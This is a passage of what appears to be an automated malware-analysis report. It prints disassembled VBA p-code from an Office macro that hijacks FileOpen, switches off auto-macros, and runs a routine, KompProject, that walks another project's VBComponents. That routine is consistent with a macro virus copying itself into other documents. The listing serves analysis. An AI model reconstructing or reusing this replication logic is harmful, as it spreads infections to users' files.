' 	FuncDefn (Sub FileOpen())
' Line #90:
' 	OnError (Resume Next) 
' Line #91:
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #92:
' 	LitDI2 0x0050 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #93:
' 	ArgsCall TempActive 0x0000 
' Line #94:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #95:
' 	EndSub 
' Line #96:
' 	FuncDefn (Function KompProject(Asal, Tujuan) As Boolean)
' Line #97:
' 	OnError salah 
' Line #98:
' 	LitVarSpecial (False)
' 	St blnMod 
' Line #99:
' 	StartForVariable 
' 	Ld Komp 
' 	EndForVariable 
' 	Ld Tujuan 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ForEach 
' Line #100:
' 	LineCont 0x0004 11 00 06 00
' 	Ld Komp 
' 	MemLd New 
' 	LitStr 0x000C "ThisDocument"
' 	Ne 
' 	Paren 
' 	Ld Komp 
' 	MemLd New 
' 	LitStr 0x0013 "Reference To Normal"
' 	Ne 
' 	Paren 
' 	And 
' 	Ld Komp 
' 	MemLd New 
' 	LitDI2 0x0005 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0005 "Sheet"
' 	Ne 
' 	Paren 
' 	And 
' 	Ld Komp 
' 	MemLd New 
' 	LitStr 0x000C "ThisWorkbook"
' 	Ne 
' 	Paren 
…

Open this report in the interactive analyzer, or submit your own file for analysis.